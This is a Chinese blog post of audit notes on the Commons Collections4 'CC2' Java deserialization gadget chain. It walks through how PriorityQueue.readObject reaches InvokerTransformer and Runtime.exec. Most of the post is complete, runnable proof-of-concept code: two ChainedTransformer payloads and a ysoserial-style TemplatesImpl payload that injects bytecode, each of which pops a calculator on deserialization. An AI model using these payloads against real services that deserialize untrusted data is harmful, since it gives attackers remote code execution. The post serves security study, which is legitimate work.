Loading

java-CC2 链审计笔记

java-CC2 链审计笔记

调用链

	Gadget chain:
		ObjectInputStream.readObject()
			PriorityQueue.readObject()
				...
					TransformingComparator.compare()
						InvokerTransformer.transform()
							Method.invoke()
								Runtime.exec()

@Dependencies({ "org.apache.commons: commons-collections4:4.0" })

链条分析

依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
  </dependency>

这条链是在 common-collections4 下的,因为在 3.x 的版本中 TransformingComparator 并没有去实现 Serializable 接口,也就是说它不可以被序列化

先来看链条尾部这部分

InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

这个 InvokerTransformer.transform() 我们 CC1 审计的时候就知道了,他具有反射调用任意方法的能力

我们直接来看 TransformingComparator.compare() 这个方法

image-20250406124329839

看到这个方法确实在调用 transform 方法 , 我们只需要做到 transformer 参数可控即可

看到他的构造方法是 public 的,且做了初始化 transformer 的操作

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }

我们看谁在调用 compare 方法

这里链条作者找到了 java.util.PriorityQueue 中的方法

image-20250406125827541

我们分别来看一下

先来看 siftUpUsingComparator() ,发现它确实有在调用 compare 方法,自需要满足 k > 0 即可

image-20250406130832293

我们去找哪里在调用 siftUpUsingComparator() 这个方法

image-20250406130735132

发现 siftup() 方法,但是遗憾的是这个方法最终走不到 readObject() 方法,只能作罢

我们接着来看 siftDownUsingComparator() 这个方法

跟着这个方法,可以发现他是可以被 readObject() 调用的,调用链

java.util.PriorityQueue#readObject
	java.util.PriorityQueue#heapify
		java.util.PriorityQueue#siftDown  // 满足 comparator != null 
			java.util.PriorityQueue#siftDownUsingComparator

image-20250406133010217

看到要执行 compare ,得满足 k<half 我们可以看到 half 是 size 无符号 右移一位得到的,其实就是 half = size/2

我们来跟踪一下 k 的值

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

看到 k 的值 来自 heapify() 函数的循环中,值为 (size >>> 1) - 1 也就是说 size >= 2 才能满足 siftDownUsingComparator 中的 k<half((size >>> 1) - 1 < size >>> 1)

那我们如何操作 size 的值呢?这里有两种方法

  1. 调用自身的方法操作
  2. 用反射赋值

看到 offer 方法 , 在给 size 做 + 1 的操作,我们调用两次 offer() 方法,size 的值就是 2 了

public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
    // 这个方法我们上面也分析过,它在  comparator != null 时,也会去执行恶意代码,我们用反射赋值
        siftUp(i, e);
    return true;
}

private final Comparator <? super E> comparator;

虽然为 final 修饰,但是他的值为 null 我们是可以利用反射来赋值的

我们来做一个实验

package com.lingx5;

import java.lang.reflect.Field;

public class S1 {
    private final String a = "lingx4";

    public static void main(String[] args) throws Exception {
        S1 s1 = new S1();
        System.out.println(s1.a);
        Field field = s1.getClass().getDeclaredField("a");
        field.setAccessible(true);
        field.set(s1,"lingx5");
        System.out.println(s1.a);

    }
}

image-20250406150206310

package com.lingx5;

import java.lang.reflect.Field;

public class S1 {
    private final String a = null;

    public static void main(String[] args) throws Exception {
        S1 s1 = new S1();
        System.out.println(s1.a);
        Field field = s1.getClass().getDeclaredField("a");
        field.setAccessible(true);
        field.set(s1,"lingx5");
        System.out.println(s1.a);

    }
}

image-20250406150235878

POC

自身方法

package com.lingx5;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                                   new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                                   new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator comparator = new TransformingComparator(chainedTransformer,null);

        PriorityQueue priorityQueue = new PriorityQueue(1);
        // 让 size=2 
        priorityQueue.offer(1);
        priorityQueue.offer(2);
        try {
            // 反射给 priorityQueue的comparator变量赋值
            Field field = priorityQueue.getClass().getDeclaredField("comparator");
            field.setAccessible(true);
            field.set(priorityQueue,comparator);
            FileOutputStream fileOutputStream = new FileOutputStream("CC2.ser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(priorityQueue);

            FileInputStream fileInputStream = new FileInputStream("CC2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

image-20250406144122639

注意:

这里如果不用反射给 priorityQueue 的 comparator 变量赋值的话,我们在执行 priorityQueue.offer(1) 的时候,会来到如下方法

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

this.decorated.compare(value1, value2) 方法会抛出异常,程序就终止了,无法完成序列化和反序列化操作

反射方式

用反射赋值就不用担心这个问题

用反射需要注意 size 和 queue ,都需要操作。 别让数组和长度溢出了

package com.lingx5;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CC2 {
    public static void main(String[] args) {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},
                                   new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},
                                   new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator comparator = new TransformingComparator(chainedTransformer,null);

        PriorityQueue priorityQueue = new PriorityQueue(1,comparator);
        try {
            // 反射给 size赋值
            Field size = priorityQueue.getClass().getDeclaredField("size");
            size.setAccessible(true);
            size.set(priorityQueue,2);
            // 反射获取 queue
            Field queue = priorityQueue.getClass().getDeclaredField("queue");
            queue.setAccessible(true);
            Object[] objects = {"lingx5", "lingx5"};
            queue.set(priorityQueue,objects);
            // 反射给 priorityQueue的comparator变量赋值
            //            Field field = priorityQueue.getClass().getDeclaredField("comparator");
            //            field.setAccessible(true);
            //            field.set(priorityQueue,comparator);
            FileOutputStream fileOutputStream = new FileOutputStream("CC2.ser");
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
            objectOutputStream.writeObject(priorityQueue);

            FileInputStream fileInputStream = new FileInputStream("CC2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
            objectInputStream.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

也是可以成功执行的

image-20250406151100931

当然 ysoserial 原作者 并没有使用 ChainedTransformer 来做过滤 而是使用了 我们熟知的 TemplateImpl 的类加载能力

ysoserial

我们可以调用到 InvokerTransformer的transform() 方法,就意味着我们可以反射去执行我们想要的方法了,当然类加载也是可以的

添加依赖(当然也可以不用这个,自己写个恶意类,转换为字节数组即可)

<dependency>
    <groupId>org.javassist</groupId>
    <artifactId>javassist</artifactId>
    <version>3.22.0-GA</version>
</dependency>

POC

package com.lingx5;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class ysoserialCC2 {
    public static byte[] getEvilBytes() throws Exception {
        ClassPool ctClass = ClassPool.getDefault();
        CtClass evil = ctClass.makeClass("evil");
        evil.setSuperclass(ctClass.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        evil.makeClassInitializer().insertBefore("Runtime.getRuntime().exec(\"calc\");");
        return evil.toBytecode();
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) {
        try {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        try {
            byte[] bytes = getEvilBytes();
            // 构造 TemplatesImpl 对象
            TemplatesImpl templates = new TemplatesImpl();
            setFieldValue(templates,"_name","evil");
            setFieldValue(templates,"_bytecodes",new byte[][]{bytes});

            // 调用 getOutputProperties,原作者使用的 newTransformer()方法
            // 注意只能是public的方法
            // 因为InvokerTransformer.transform() 没有使用 getDeclaredMethod()和setAccessible(true)
            InvokerTransformer transformer = new InvokerTransformer("getOutputProperties", new Class[0], new Object[0]);
            TransformingComparator comparator = new TransformingComparator(transformer,null);
            PriorityQueue priorityQueue = new PriorityQueue(1, comparator);
            setFieldValue(priorityQueue,"size",2);
            setFieldValue(priorityQueue,"queue",new Object[]{templates,templates});
            // 序列化
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);
            objectOutputStream.writeObject(priorityQueue);
            // 反序列化
            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
            ObjectInputStream objectInputStream = new ObjectInputStream(bais);
            objectInputStream.readObject();
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

在 InvokerTransformer#transform 中 反射调用

image-20250406161705832

实例化

image-20250406161852477

弹出计算器

image-20250406161927185

调用栈拿出来看一下吧

getTransletInstance:456, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
transform:129, InvokerTransformer (org.apache.commons.collections4.functors)
compare:81, TransformingComparator (org.apache.commons.collections4.comparators)
siftDownUsingComparator:721, PriorityQueue (java.util)
siftDown:687, PriorityQueue (java.util)
heapify:736, PriorityQueue (java.util)
readObject:796, PriorityQueue (java.util)
main:57, ysoserialCC2 (com.lingx5)

我把 readObject() 的调用栈掐掉了,留下了链条的部分

参考链接

通俗易懂的Java Commons Collection 2分析-先知社区

posted @ 2025-04-06 16:25  LingX5  阅读(58)  评论(0)    收藏  举报